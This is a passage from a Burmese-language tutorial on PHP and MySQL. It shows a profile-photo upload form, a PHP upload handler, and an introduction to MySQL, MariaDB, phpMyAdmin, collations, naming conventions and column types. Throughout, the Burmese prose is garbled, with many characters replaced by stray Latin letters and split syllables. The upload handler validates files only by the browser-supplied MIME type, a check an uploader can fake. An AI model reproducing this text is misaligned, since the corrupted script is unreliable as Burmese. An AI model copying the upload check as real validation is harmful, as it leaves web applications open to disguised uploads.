gပဿနာ မရှိကြေပမယ့်၊  Linux  တို့  Mac  တိုမှ့ာ သင့်ကြေတာ်တဲ့  oုိဒါ  Permission  ကြေပးမထားရင် အ့ဲဒီoုိဒါထဲမှာ
PHP  က  oုိင်ကိုသိမ်းကြေပးနိုင်မှာ  မဟုတ်yဲ  Permission  Denied  Error  တက်ပါလိမ့်မယ်။  ဒါကြေeကာင့်
Permission  Denied  Error  ကြေတွ့ခဲ့ရင်  File  ကြေeကာင့်တက်တဲ့  gပဿနာမဟုတ်yဲ  oုိဒါ  Permission  ကို
ကြေgပာင်းကြေပးoုိ့ လုိအပ်ကြေနတာ ဆိုတာကို သတိgပုပါ။

ဒီလုပ်ကြေဆာင်ချက်ကို  ကြေရးလက်စ  ပကြေရာင်္ဂျက်ထဲမှာလည်း  ထပ်ထည့်ပါဦးမယ်။  ဒါကြေeကာင့်  project  ထဲမှာ
လုိအပ်တဲ့ oုိင်နဲ ့oုိဒါကြေတွကို အခုလုိ ထပ်မံထည့်သွင်းကြေပးပါ။
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project/
├── css/
│     └── bootstrap.min.css
│
├── _actions/
│     ├── photos/
│     ├── upload.php
│     ├── login.php
│     └── logout.php
│
├── index.php
├── register.php
└── profile.php

_actions oုိဒါထဲမှာ photos/ oုိဒါနဲ့  upload.php oုိင်တိုက့ို ထပ်တိုးလုိက်တာပါ။ ပြပီးတဲ့အခါ ကြေရး
လက်စ profile.php မှာ အခုလုိ goည့်စွက်ကြေပးပါ။

…

<h1 class="mb-3">John Doe</h1>

<?php if(isset($_GET['error'])): ?>
    <div class="alert alert-warning">
        Cannot upload file
    </div>
<?php endif ?>

<?php if(file_exists('_actions/photos/profile.jpg')): ?>
    <img 
        class="img-thumbnail mb-3"
        src="_actions/photos/profile.jpg"
        alt="Profile Photo" width="200">
<?php endif ?>

<form action="_actions/upload.php" method="post" 
enctype="multipart/form-data">
<div class="input-group mb-3">

<input type="file" name="photo" class="form-control">
<button class="btn btn-secondary">Upload</button>

</div>
</form>

<ul class="list-group">

… 
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နင်္ဂိုကြေရးလက်စ <h1> Element နဲ့  <ul> Element eကားထဲမှာ ထပ်goည့်ကြေပးလုိက်တာပါ။ အလုပ် (၃) ခု
လုပ်ထားပါတယ်။ အကယ်၍ URL Query  မှာ  error တန်oုိးရှိကြေနရင်  Error Message  ကို gပကြေပးထားပါ
တယ်။ ပြပီးတဲ့အခါ file_exists() Function နဲ့ profile.jpg ရှိမရှိစစ်ပြပီး ရှိရင် <img> Element
နဲ့ gပခိုင်းထားပါတယ်။ ပြပီးတဲ့အခါ Form တစ်ခု ဆက်လက်ပါဝင်ပါတယ်။ <input type="file"> နဲ့
Profile  Picture  ကြေရွးပြပီး  ပုိလုိ့ရ့တဲ့  Form  ပါ။  ဒီလုိထည့်သွင်းကြေပးလုိက်ရင်  profile.php ရဲ့
အသွင်အgပင်က အခုလုိ goစ်သွားပါပြပီ။

ဆက်လက်ပြပီးကြေတာ့ _actions/upload.php မှာ oုိင်ကိုသိမ်းကြေပးတဲ့ကုဒ်ကို အခုလုိကြေရးသားကြေပးပါ။
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 PHP 

<?php

$error = $_FILES['photo']['error'];

$tmp = $_FILES['photo']['tmp_name'];

$type = $_FILES['photo']['type'];

if($error) {

header('location: ../profile.php?error=file');

exit();

}

if($type === "image/jpeg" or $type === "image/png") {

move_uploaded_file($tmp, "photos/profile.jpg");

header('location: ../profile.php');

} else {

header('location: ../profile.php?error=type');

}

$_FILES Superglobal ကကြေန error, type နဲ့  tmp_name တိုက့ို ထုတ်ယူထားပါတယ်။ error
ရှိကြေနရင်  ဆက်အလုပ်မလုပ်yဲ  ../profile.php ကို  error URL  Query  နဲ့  gပန်သွားခိုင်းထားပါ
တယ်။  ပြပီးတဲ့အခါ  ကြေပးပုိလ့ာတဲ့oုိင်ကို  ပံု  ဟုတ်မဟုတ်စစ်ချင်တဲ့အတွက်  type ကို  image/jpeg
သုိ့မဟုတ်  image/png ဟတု်မဟုတ်  စစ်ထားပါတယ်။  ဟုတ်မှန်ကြေတာ့မှ  oုိင်ကို  photos/ oုိဒါထဲမှာ
သိမ်းကြေပးပြပီး၊ မဟုတ်မှန်yူးဆိုရင် ../profile.php ကို error URL Query နဲ့ gပန်သွားခိုင်းလုိက်တာ
ပါ။

ဒါကြေeကာင့် ပုံမဟုတ်တဲ့ oုိင်တစ်ခုခုကို ကြေရွးပြပီး ပုိလုိ့က်ရင် Error Message ကိုကြေတွ့gမင်ရမှာgoစ်ပြပီး ပုံတစ်ခုကို
အကြေသအချာကြေရွးပြပီး ပုိလုိ့က်ရင်ကြေတာ့ ရလဒ်က အခုလုိgoစ်မှာပါ။
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ဒီနည်းနဲ့  ကြေရးလက်စပကြေရာင်္ဂျက်မှာ  Profile Picture  ကြေgပာင်းလုိရ့တဲ့  လုပ်ကြေဆာင်ချက်လည်း ပါဝင်သွားပြပီပဲ
goစ်ပါတယ်။
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အခန်း (၃၈) – MySQL Database

ကကြေနအ့ချနိ်မှာ  အထင်ရှားဆံုးနဲ့  လူသံုးအများဆံုး  Relational  Database  Management  System
(RDBMS) (၅)  မျ ို းရှိတယ်လုိ့  ဆိုနိုင်ပါတယ်။  MySQL, MSSQL, Oracle, PostgreSQL  နဲ့  SQLite  တိုပ့ါ။
အားလုံးက Data ကြေတွကို အgပန်အလှန် ဆက်စပ်ကြေနတဲ့ Database Table ထဲမှာသိမ်းဆည်းပြပီး SQL Query
Language  နဲ့ စီမံရတဲ့ နည်းပညာကြေတွပါ။ အခုကြေနာက်ပုိင်းမှာ အ့ဲဒီလုိ  အgပန်အလှန်ဆက်စပ်ကြေနတဲ့  Table
ကြေတွမှာ  Data  ကိုသိမ်းတာမဟုတ်ကြေတာ့တဲ့  NoSQL Database  နည်းပညာကြေတွလည်း ထွက်ကြေပါ်အသုံးတွင်
ကျယ်လာeကပါတယ်။ Redis, MongoDB စတဲ့ Database နည်းပညာကြေတွပါ။

အထင်ရှားဆံုး  RDBMS (၅)  မျ ို းထဲမှာ တစ်ခုအပါအဝင်goစ်တဲ့  SQLite  က  Standalone Database  ကြေခါ်
Database  ကို  oုိင်တစ်ခုလုိ  သယ်သွားလုိရ့တဲ့  Database  အမျ ို းအစားgoစ်ပါတယ်။ ကျန်  (၄)  ခုကကြေတာ့
Client-Server  ပုံစံအလုပ်လုပ်လုိ့  Database Server  အကြေနနဲ့  အသုံးgပုရပါတယ်။ ဒီစာအုပ်မှာ ထည့်သွင်း
ကြေလ့လာeကမှာကကြေတာ့ MySQL Database နည်းပညာပဲ goစ်ပါတယ်။

MySQL Database မှာ မူကွဲနှစ်မျ ို းရှိပါတယ်။ မူလ MySQL နဲ ့အ့ဲဒီ မူလ MySQL Source Code ကကြေန Fork
လုပ်ယူပြပီး တီထွင်ထားတဲ့ MariaDB လုိ့ကြေခါ်တဲ့ နည်းပညာပါ။ မူလ MySQL ဟာ Open Source နည်းပညာ
တစ်ခုgoစ်သလုိ  Commercial  အခကြေပး  ဝန်ကြေဆာင်မှုအကြေနနဲလ့ည်း  ရနိုင်တဲ့  နည်းပညာပါ။  gပဿနာက
MySQL ရဲ့ ပထမပုိင်ရှင်goစ်တဲ့ MySQL AB လုိ့ကြေခါ်တဲ့ ကုမ္ပဏီကို Sun Microsystems က ကြေဒါ်လာ (၁) yီ
လီယံနဲ့  ဝယ်ယူလုိက်တဲ့အတွက်  MySQL  ရဲ့  ဒုတိယပုိင်ရှင်  goစ်သွားပါတယ်။  သိပ်မeကာခင်မှာပဲ  Sun
Micorsystems ကို Oracle က ထပ်ဆင့်ဝယ်ယူလုိက်gပန်လုိ့ MySQL ရဲ့ တတိယနဲ ့လက်ရှိပုိင်ရှင်က Oracle
goစ်ကြေနပါတယ်။ 
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ဒါကြေeကာင့် Oracle လုိ့ကြေခါ်တဲ့ အgခားထင်ရှားတဲ့ Commercial Database နည်းပညာနဲ့ MySQL တိုရ့ဲ့ ပုိင်ရှင်
ဟာ  တစ်ဦးတည်း  goစ်သွားပါတယ်။  ဒီအကြေgခအကြေနကို  တစ်ချ ို ့က  စိတ်ပူeကပါတယ်။  Oracle  အကြေနနဲ့
MySQL  ရဲ့  မူလ  Open Source  လမ်းစဉ်ကကြေန ကြေသွoီသွားကြေစမှာကို  စတိ်ပူeကတာပါ။  ဒါကြေeကာင့်  ပထမ
ပုိင်ရှင်goစ်တဲ့  MySQL AB  ကို ပူးကြေပါင်းတည်ကြေထာင်သူ တစ်ဦးကပဲ ဦးကြေဆာင်ပြပီးကြေတာ့  MySQL ရဲ့  Source
Code ကို Fork လုပ် ပွားယူလုိက်ပါတယ်။ Open Source ပကြေရာင်္ဂျက်ကြေတွမှာ သတ်မှတ်ချက်များနဲအ့ညီ အ့ဲ
ဒီလုိ  ပွားယူခွင့်  ရှိပါတယ်။ သတ်မှတ်ချက်များနဲ့အညီ ဆိုတာကို  သတိgပုပါ။  ယူချင်သလုိ ယူလုိရ့တာမျ ို း
ကြေတာ့ မဟုတ်ပါyူး။ အ့ဲဒီလုိ ပွားယူထားတဲ့  မူကွဲကို  MariaDB  ဆိုတဲ့အမည်နဲ့  Open Source  နည်းပညာ
အgoစ် ဆက်လက် ရပ်တည်လာခဲ့လုိ ့အခုဆိုရင် မူလ MySQL နဲ့ MariaDB ဆိုပြပီး မူကွဲနှစ်ခုရှိကြေနတာပါ။

XAMPP  ကို  Install  လုပ်လုိက်စဉ်မှာ  ပါဝင်သွားတဲ့  Database  နည်းပညာက  MySQL  မဟုတ်ပါyူး။
MariaDB goစ်ပါတယ်။ ဒါကြေပမယ့် MySQL   နဲ့    MariaDB   တိုဟ့ာ   Drop-in Replacement   ကြေခါ် တစ်ခုကြေနရာ  
မှာ  ကြေနာက်တစ်ခုကို  အချနိ်မကြေရွးအစားထုိး  အသံုးgပုနိုင်တဲ့  နည်းပညာကြေတွပါ။  Source  မတူကြေပမယ့်
အသုံးgပုပံု  အတူတူပါပဲ။ ဒါကြေeကာင့် အကြေခါ်အကြေဝါ်ကြေတွ ရှုပ်လုိ့  MariaDB  ဆိုတဲ့အသုံးအနှုန်းအစား  MySQL
ဆိုတဲ့ အသုံးအနှုန်းကိုသာ ဆက်လက်အသံုးgပုသွားမှာ goစ်ပါတယ်။ PHP yက်ကကြေန ကုဒ်ကြေတွကြေရးတဲ့အခါ
မှာလည်း MySQL အမည်နဲရ့ှိကြေနတဲ့ Standard Function ကြေတွ  Standard Class ကြေတွကို အသုံးgပုရမှာပါ။

XAMPP ကို Install လုပ်လုိက်စဉ်မှာ Database နည်းပညာတင် မကပါyူး။ အ့ဲဒီ Database ကို စီမံလုိရ့တဲ့
Software  တစ်ခုgoစ်တဲ့  phpMyAdmin လုိ့ကြေခါ်တဲ့ နည်းပညာကိုပါ တစ်ခါထဲ ထည့်သွင်းကြေပးထားပါတယ်။
ဒါကြေeကာင့်  Database  စီမံတဲ့အလုပ်ကို  phpMyAdmin  နဲ့  ဆက်လက်ကြေဆာင်ရွက်သွားeကမှာ goစ်ပါတယ်။
PHP  ကိုအသုံးgပုကြေရးသားထားတဲ့  Software  တစ်ခုgoစ်လုိ့  သီးgခားပရုိင်္ဂရမ်တစ်ခုအကြေနနဲ့  oွင့်စရာ  မလုိပါ
yူး။ Web Browser မှာ လိပ်စာရုိက်ထည့်ပြပီး အသုံးgပုနိုင်ပါတယ်။ ဒီလုိပါ –

localhost/phpmyadmin

ဒီလုိ Browser URL မှာရုိက်ထည့်လုိက်ရင် အခုလုိ phpMyAdmin Interface ကို ကြေတွ့gမင်ရမှာgoစ်ပါတယ်။
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yယ်yက် Sidebar  ထဲမှာ  Database စာရင်းရှိကြေနပြပီး ညာyက် Main Area အကြေပါ်နားမှာ  Menu Bar ရှိ
ကြေနပါတယ်။  Menu  Bar  ကကြေန  Databases  ကို  နှိပ်eကည့်လုိက်ရင်  Sidebar  ထဲက  စာရင်းနဲ့  တူညီတဲ့
Database  စာရင်းကိုပဲ ရမှာပါ။ ဒါကြေပမယ့် ထူးgခားချက်အကြေနနဲ့  Database  အသစ်ကြေဆာက်လုိရ့တဲ့  Create
Database Form တစ်ခုပါ ပူးတွဲပါဝင်တာကို အခုလုိ ကြေတွ့ ရမှာ goစ်ပါတယ်။
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Database  အသစ်တည်ကြေဆာက်oုိအ့တွက်  အချက်အလက်  (၂)  ခုကြေပးရပါတယ်။  Database  အမည်နဲ့
Collation goစ်ပါတယ်။ Collation   ဆိုတာ   Data   ကြေတွကို   Sorting   စီတဲ့အခါ၊ နိှုင်းယှဉ်တဲ့အခါ yယ်ပုံyယ်  
နည်း စီရမယ်၊ နိှုင်းယှဉ်ရမယ်ဆိုတဲ့ နည်းလမ်းသတ်မှတ်ချက်ပါ။ စမ်းeကည့်နိုင်oုိအ့တွက် Database Name
ကြေနရာမှာ  project လုိ့ကြေပးလုိက်ပါ။  Collation  ကကြေတာ့  သူအလုိအကြေလျှာက်  ကြေရွးကြေပးထားတဲ့
utf8mb4_general_ci က အဆင်ကြေgပပါတယ်။ ဒီအတိုင်းထားလုိက်ရမှာပါ။

UTF-8  ဆိုတာ  Character  Encoding  နည်းပညာပါ။  ABC,  ကခင်္ဂ  စတဲ့  စာကြေတွ  သိမ်းပုံသိမ်းနည်းလုိ့
အလွယ်ကြေgပာနိုင်ပါတယ်။ ASCII, Latin1 စတဲ့တgခား Character Set/Encoding နည်းပညာကြေတွ ရှိပါကြေသး
တယ်။  ASCII  တို့  Latin1  တိုဟ့ာ  အင်္ဂ[လိပ်စာနဲ၊့  စပိန်၊  ကြေပါ်တူင်္ဂီ  စတဲ့  လက်တင်စာကြေတွ  သိမ်းoုိအ့တွက်
သင့်ကြေတာ်ကြေပမယ့်  gမန်မာစာလုိ စာမျ ို းကြေတွ သိမ်းoုိအ့တွက် မသင့်ကြေတာ်ပါyူး။  UTF-8  ကကြေတာ့ gမန်မာစာ
အပါအဝင် အင်္ဂ[လိပ်နဲ့  လက်တင်မဟုတ်တဲ့  စာကြေတွသိမ်းoုိ့အတွက် ပုိသင့်ကြေတာ်လုိ့  အခုကြေနာက်ပုိင်း  UTF-8
ကိုပဲ သုံးeကပါတယ်။ yယ်လုိ၊ yာကြေeကာင့် ပုိသင့်ကြေတာ်တာလဲဆိုတဲ့ အကြေသးစိတ်ကိုကြေတာ့ ဒီကြေနရာမှာ ထည့်
ကြေgပာနိုင်မှာ မဟုတ်ပါyူး။

mb4 ဆိုတာ Multi-Byte (4-byte) ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ ABC ဆိုတဲ့ စာလံုးကြေလးကြေတွ သိမ်းoုိ့အတွက် စာလံုး
တစ်လံုးကို  1-byte  ပဲလုိပါတယ်။ ကခင်္ဂ ဆိုတဲ့ gမန်မာစာ စာလံုးကြေတွ သိမ်းoုိအ့တွက် စာလံုးတစ်လုံးကို  3-
byte လုိအပ်ပါတယ်။ အခုကြေနာက်ပုိင်း  Emoji  ကြေလးကြေတွကို ကြေနရာတိုင်းမှာ သံုးeကတာ အားလံုးအသိပါ။ အ
ရင်က အ့ဲဒီ  Emoji  ကြေလးကြေတွက စာလံုး  Character  ကြေလးကြေတွ မဟုတ်eကပါyူး။ ပုံကြေလးကြေတွ  (သုိ့မဟုတ်)
ရုိးရုိးသကြေက[တကြေလးကြေတွကို ကြေပါင်းစပ်ထားတာပါ။ အခကုြေတာ့ အ့ဲဒီ Emoji ကြေလးကြေတွ ကိုယ်တိုင်က စာကြေရးတဲ့
အခါ ထည့်ကြေရးလုိရ့တဲ့  Character ကြေလးကြေတွ goစ်ကြေနeကပါပြပီ။ ဒီ Emoji Character ကြေတွကို သိမ်းoုိအ့တွက်
ကြေတာ့ 4-byte လုိအပ်ပါတယ်။ ဒါကြေeကာင့် mb4 ကိုကြေရွးထားမှသာ Emoji ကြေတွ ထည့်ကြေရးထားတဲ့ စာကြေတွကို
စီမံတဲ့အခါ ပုိမှန်မှာပါ။

Collation မှာ general_ci နဲ့ unicode_ci ဆိုပြပီး မူကွဲနှစ်မျ ို း ရိှeကပါကြေသးတယ်။ ci ကကြေတာ့ Case
Insensitive ရဲ့ အတိုကြေကာက်ပါ။ ဒါကြေeကာင့် ci ပါတဲ့ Collation ကိုကြေရွးထားရင် Aa, Bb စတဲ့ စာလံုးအကြကီး
အကြေသးမတူလုိ့ ရှာရင် မကြေတွ့yူးဆိုတာမျ ို း မgoစ်ကြေတာ့ပါyူး။ general နဲ့  unicode ကလည်း အကြေgခခံ
အားgoင့် တူပါတယ်။ unicode ဆိုတာ Unicode Consortium လုိ့ကြေခါ်တဲ့ အoဲွ့အစည်းက သတ်မှတ်ထား
တဲ့ နည်းလမ်းအတိုင်း အတိအကျအလုပ်လုပ်တယ်ဆိုတဲ့ သကြေyာgoစ်ပြပီး၊  general ကကြေတာ့ အတိအကျ
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မဟုတ်yဲ  Database  က ပုိသင့်ကြေတာ်မယ်လုိ့  ယူဆတဲ့နည်းလမ်းနဲ့  အလုပ်လုပ်တယ်ဆိုတဲ့သကြေyာ goစ်ပါ
တယ်။ ဒါကြေeကာင့်  unicode ကိုကြေရွးရင် ရှာတာ၊ စီတာကြေတွ ပုိမှန်နိုင်ပြပီး၊  general ကိုကြေရွးရင် ပုိgမန်နိုင်
တယ်လုိ့ ကြေကာက်ချက်ချချင်ပါတယ်။ ဒါကကြေတာ့ စာကြေရးသူရဲ့ ကြေကာက်ချက်သက်သက်မုိ့ လဲွကြေကာင်းလဲွနိုင်ပါ
တယ်။

ဒီကြေလာက်ဆိုရင်  utf8mb4_general_ci ဆိုတာ  yာကိုကြေgပာတာလဲ  ဆိတုဲ့  အeကမ်းoျဉ်း
သကြေyာသyာဝ  ကို  သိရှိသွားမယ်လုိ့  ယူဆပါတယ်။  ဆက်လက်စမ်းသပ်နိုင်oုိ့  Create Button  ကိုနှိပ်
လုိက်ပါ။ အ့ဲဒီလုိ နှိပ်လုိက်တာနဲ့ project အမည်နဲ ့Database တစ်ခုကို တည်ကြေဆာက်ရရှိပါပြပီ။

ဒီကြေနရာမှာ phpMyAdmin ရဲ့ Feature အားလုံးနဲ့  MySQL ရဲ့ Feature အားလုံးကို ထည့်သွင်းကြေoာ်gပနိုင်မှာ
မဟုတ်ပါyူး။ လက်ကြေတွ့ပကြေရာင်္ဂျက်ကြေတွမှာ လုိအပ်မယ့်အပုိင်းကိုသာ ကြေရးွထုတ်ကြေoာ်gပသွားမှာ goစ်ပါတယ်။
ဒါကြေeကာင့် MySQL အကြေeကာင်းနဲ့ phpMyAdmin ရဲ့ Feature ကြေတွကို ဒီထက်ပုိပြပီး gပည့်gပည့်စံုစံု သိချင်တယ်
ဆိုရင် ဆက်လက်ကြေလ့လာoုိ ့လုိအပ်ကြေသးတယ်လုိ ့မှတ်ထားရမှာပါ။

Database  တည်ကြေဆာက်ပြပီးတဲ့အခါ တည်ကြေဆာက်လုိက်တဲ့  Database  ကို အလုိအကြေလျှာက် ကြေရးွကြေပးထား
တာကို ကြေတွ့ရမှာ goစ်ပါတယ်။ အခုမှအသစ်ကြေဆာက်တဲ့ Database goစ်လုိ့ No tables found in database
ဆိုတဲ့  Message  နဲအ့တူ Table  ကြေတွတည်ကြေဆာက်လုိရ့တဲ့  Create  Table  Form  ကို  ကြေတွ့gမင်ရမှာပါ။
အကယ်၍  Create Table Form  ကို  မကြေတွ့yူးဆိုရင် yယ်yက်  Sidebar  ထဲကကြေန ကိုယ်တည်ကြေဆာက်
လုိက်တဲ့ Database အမည်goစ်တဲ့ project ကို နှိပ်eကည့်လုိ ့ရပါတယ်။
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Table တစ်ခုစတင် တည်ကြေဆာက်နိုင်oုိ့အတွက် Name ကြေနရာမှာ roles လုိ့ကြေပးပြပီး Number of columns
ကြေနရာမှာ 3 လုိ့ကြေပးလုိက်ပါ။ ပြပီးရင် Go ခလုပ်ကို နှိပ်လုိက်ပါ။ ဒါဆိုရင် Column (၃) ခုပါဝင်တဲ့ Table တစ်
ခု တည်ကြေဆာက်oုိအ့တွက် ကြေနာက်ထပ် Form တစ်ခုကို အခုလုိ ကြေတွ့ gမင်ရမှာ goစ်ပါတယ်။

ပါဝင်ရမယ့်  Column  ကြေတွအတွက်  Name, Type, Length/Values  စသည်goင့် လုိအပ်တဲ့  Property  ကြေတွ
ဆက်လက် သတ်မှတ်ကြေပးရမှာပါ။
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Name –  Laravel အပါအဝင် တစ်ချ ို ့ Framework ကြေတွက Convention Over Configuration ဆိုတဲ့နည်း
ကို  အသုံးgပုeကပါတယ်။  အဓိပ္ပါယ်က၊  အမည်မှန်ကြေအာင်ကြေပးရင်  လုပ်သင့်တဲ့အလုပ်ကို  အလုိအကြေလျှာက်
လုပ်ကြေပးတယ်ဆိုတဲ့  သကြေyာပါ။  ဒါကြေeကာင့်  အမည်ကြေတွ  ကြေပးပုံကြေပးနည်းကို  င်္ဂရုစိုက်eကoုိ့  လုိပါတယ်။
အကြေသးစိတ် စည်းကမ်းချက်ကြေတွကကြေတာ့ သက်ဆိုင်ရာ Framework ကြေပါ်မူတည်ပါတယ်။ ဒါကြေပမယ့် အများ
အားgoင့် အသုံးgပုeကကြေလ့ရှိတဲ့ အကြေgခခံမူကြေတွကိုကြေတာ့ ကြေgပာလုိရ့ပါတယ်။ 

ပထမဆံုးမှတ်သားရမယ့် အချက်ကကြေတာ့ Database Name, Table Name, Column Name စတဲ့ အမည်
အားလုံးကို  Snake Case    နဲ့  ကြေပးရပါတယ်  ။  Snake Case  ဆိုတာ စာလံုးအကြေသးကြေတွချည်းပဲသုံးပြပီး  Space
လုိအပ်တဲ့ကြေနရာမှာ Space အစား Underscore ကို အသုံးgပုတဲ့ ကြေရးဟန်ပါ (ဥပမာ - php_my_admin)။
တgခားအမည်ကြေပးပုံကြေတွgoစ်တဲ့  Camel Case (ဥပမာ  -  phpMyAdmin)  နဲ့  Capital Case/Pascal Case
(ဥပမာ  -  PhpMyAdmin)  တိုက့ို  သူ့ကြေနရာနဲသူ့  သံုးရတဲ့ကြေနရာကြေတွ  ရှိကြေပမယ့်  Database  နဲပ့က်သက်တဲ့
အမည်ကြေတွမှာကြေတာ့ Snake Case ကိုသာ သုံးeကကြေလ့ရှိပါတယ်။ ဒါဟာ Convention ဆိုတာကို သတိgပုပါ။
Syntax  မဟုတ်ပါyူး။  လုိက်နာရင်  စနစ်ပုိကျကြေပမယ့်  မလုိက်နာရင်လည်း  အလုပ်လုပ်တဲ့အတွက်  ကိုယ့်
yက်က သတိထားပြပီး လုိက်နာကြေပးoုိ့ လုိအပ်ပါတယ်။

အမည်နဲပ့က်သက်ရင် ကြေနာက်ထပ်မှတ်သားသင့်တဲ့ အချက်ကကြေတာ့ Table Name   ကြေတွကို   Plural   ကြေပးသင့်  
တယ် ဆိုတဲ့အချက်goစ်ပါတယ်။ users, roles, categories စသည်goင့်  Plural  အကြေနနဲ့ ကြေပးရ
တာပါ။ အထဲမှာ User ကြေတွအများကြကီးရှိတယ်။ Role ကြေတွအများကြကီးရှိတယ်။ Category ကြေတွ အများကြကီးရှိ
တယ်ဆိုတဲ့  အဓိပ္ပါယ်ပါပဲ။  ကုဒ်ကြေရးတဲ့အခါမှာလည်း တန်oုိးအများကို  သိမ်းရင်  Variable Name  ကြေတွကို
Plural  ကြေပးသင့်တာပါပဲ။  ဒီကြေရးနည်းကြေလးက  ကြေနာက်ပုိင်းမှာ  ကြေတာက်ကြေလျှာက်  အကျ ို းgပုတာကို
အကြေတွ့အကြကံုရလာတဲ့အခါ သိလာပါလိမ့်မယ်။

ကြေနာက်ထပ်မှတ်သားသင့်တဲ့အချက်ကကြေတာ့  Double Context    ကို  အမည်gပန်ထပ်တာကြေတွကို  ကြေရှာင်ရှားoုိ့  
goစ်ပါတယ်။ ဥပမာ  -  users Table  ထဲမှာ  user_id ဆိုတဲ့  Column  ရှိမယ်ဆိုရင် အမည်gပန်ထပ်တဲ့
သကြေyာပါပဲ။ တစ်ကယ်ကြေတာ့ id ဆိုရင် ရပါပြပီ။  users Table ထဲက id မုိလုိ့့  user_id goစ်ကြေeကာင်း
Context အရ ကြေပါ်လွင်ပြပီးgoစ်လုိ့ gပန်ထပ်ကြေအာင် မကြေပးသင့်ကြေတာ့ပါyူး။ ဒါဟာလည်း ကြေရရှည်မှာ အကျ ို းgပု
မယ့် မှတ်သားစရာကြေလး တစ်ခုပါပဲ။
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gပန်ကြေကာက်ရရင်  မှတ်သားစရာ  (၃)  ခုကြေgပာခဲ့တာပါ။  Database,  Table,  Column  အမည်အားလုံးကို
Snake Case နဲ့ကြေပးသင့်တယ်။ Table အမည်ဟာ Plural goစ်သင့်တယ်။ Double Context ကို ကြေရှာင်ရမယ်
ဆိုတဲ့ (၃) ချက်goစ်ပါတယ်။

Type –  MySQL  မှာ  Column Type  အများအgပား  ရှိပါတယ်။ အသံုးများမယ့်  Type  ကြေတွကကြေတာ့  INT,
VARCHAR,  TEXT,  DATETIME  နဲ့  TIMESTAMP  တို့goစ်ပါတယ်။  မှန်ကန်တဲ့  Type  ကို  ကြေရွးကြေပးထားမှ၊
တွက်ချက်မှုကြေတွ၊ နိှုင်းယှဉ်မှုကြေတွနဲ့  Sorting စီတဲ့ကိစ္စလုိ အလုပ်မျ ို းကြေတွကို  Database  က မှန်ကြေအာင် လုပ်
ကြေပးနိုင်မှာပါ။ ကိန်းgပည့် ကိန်းင်္ဂဏန်းကြေတွသိမ်းoုိ့  INT ကို သုံးနိုင်ပါတယ်။ ဒဿမကိန်းကြေတွ သိမ်းoုိအ့တွက်
FLOAT  လည်းရှိပါတယ်။  VARCHAR    ကိုကြေတာ့ အကြေရအတွက် အကန့်အသတ်ရှိတဲ့ စာကြေတွသိမ်းoုိ့   သုံးနိုင်ပါ
တယ်။ Variable Length Character ဆိုတဲ့အဓိပ္ပါယ်ပါ။ လူအမည်၊ အီးကြေမးလ်၊ oုန်းနံပါတ်၊ ပတ်စ်ဝပ် စတဲ့
အချက်အလက်မျ ို းကြေတွဟာ အကြေရအတွက်အားgoင့် အကန့်အသတ်နဲသ့ာ သိမ်းoုိ့လုိတဲ့  စာအမျ ို းအစားကြေတွ
ပါ။  အကြေရအတွက်  အကန့်အသတ်ကြေgပာoုိခ့က်တဲ့  စာကြေတွဆိုရင်ကြေတာ့    TEXT    ကို  သုံးသင့်ပါတယ်  ။  သတင်း
Article  ကြေတ၊ွ  ပုိစ့်ကြေတွ၊  ကိုယ်ကြေရးအချက်အလက်ကြေတွ၊  လိပ်စာကြေတွဆိုရင်  အကြေရအတွက်  အကန့်အသတ်
ကြေgပာoုိခ့က်လုိ ့TEXT ကို သုံးသင့်ပါတယ်။

DATETIME  ကိုကြေတာ့  ရက်စွဲနဲအ့ချနိ်  ပူးတွဲပြပီး  သိမ်းoုိ့အတွက်  သံုးနိုင်ပါတယ်။  Year-Month-Day
Hour:Minute:Second Format  ကိုသုံးပါတယ်  (ဥပမာ  2020-01-11 14:30:22)။  DATE  သပ်သပ်
TIME သပ်သပ် သိမ်းချင်ရင်လည်း Column Type ကြေတွရှိပါတယ်။ TIMESTAMP ကကြေတာ့ ရက်စွဲအချနိ်ကိုပဲ
Timestamp Format နဲ့ သိပ်ကြေပးတာပါ။ Timestamp ဆိုတာ ၁၉၇၀ gပည့်နှစ် ဇန်နဝါရီ (၁) ရက်ကြေနက့ကြေန
လက်ရှိအချနိ်ထိ စက္ကန့်စုစုကြေပါင်းကို ကြေgပာတာပါ။

Length/Values –  VARCHAR Column Type   ကိုအသုံးgပုလုိရင်   Length   သတ်မှတ်ကြေပးရပါတယ်  ။ မgoစ်မ
ကြေန သတ်မှတ်ကြေပးoုိ့  လုိအပ်တာပါ။ သိမ်းလုိတဲ့စာရဲ့  အgမင့်ဆံုးgoစ်နိုင်တဲ့  စာလံုးအကြေရအတွက်ကို  ကြေပးရတဲ့
သကြေyာပါ။ တgခား Column အမျ ို းအစားကြေတွမှာ မကြေပးရင်လည်း ရပါတယ်။
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Default –  Data  ကြေတွကို  Table  ထဲမှာ  သိမ်းစဉ်မှာ  သက်ဆိုင်ရာ  Column  အတွက်  တန်oုိးမကြေပးခဲ့ရင်
Default အကြေနနဲ့ သိမ်းကြေပးကြေစလုိတဲ့တန်oုိးရှိရင် သတ်မှတ်ကြေပးထားနိုင်ပါတယ်။ phpMyAdmin က ကြေပးထား
တဲ့ Select Box ကကြေန As defined: ကိုကြေရွးပြပီး ကိုယ်ကြေပးချင်တဲ့ တန်oုိးကို ကြေပးနိုင်ပါတယ်။

Collation – Collation ကြေeကာင်းကို အထက်မှာ ကြေgပာခဲ့ပြပီးgoစ်ပါတယ်။ Database တည်ကြေဆာက်စဉ်က ကြေရွး
ခဲ့တဲ့ Collation ကို မသံုးyဲ သက်ဆိုင်ရာ Column အတွက် သီးgခား Collation သတ်မှတ်လုိရင်လည်း ကြေရွး
ပြပီး သတ်မှတ်နိုင်oုိ ့ကြေပးထားတာပါ။

Attributes – Column Type မှာ  INT (သုိမ့ဟုတ်) FLOAT ကိုကြေရွးပြပီး  Attributes  ကြေနရာ UNSIGNED ကို
ကြေရွးကြေပးလုိက်မယ်ဆိုရင်  အနှုတ်ကိန်းကြေတွ သိမ်းလုိမ့ရကြေတာ့ပါyူး။  အနှုတ်ကိန်းကြေတွ  သိမ်းoုိမ့လုိတဲ့  ကြေနရာ
မှာ ကြေရးွချယ်ကြေပးထားမယ်ဆိုရင် Data ကြေတွရဲ့ ကြေနရာယူမှု သက်သာသွားနိုင်ပါတယ်။

Null –  Null  ကိုကြေပးလာတဲ့အခါ  လက်ခံလုိရင်  ကြေရွးထားနိုင်ပါတယ်။  ဥပမာ  –  မှတ်ပံုတင်အမှတ်  သိမ်းoုိ့
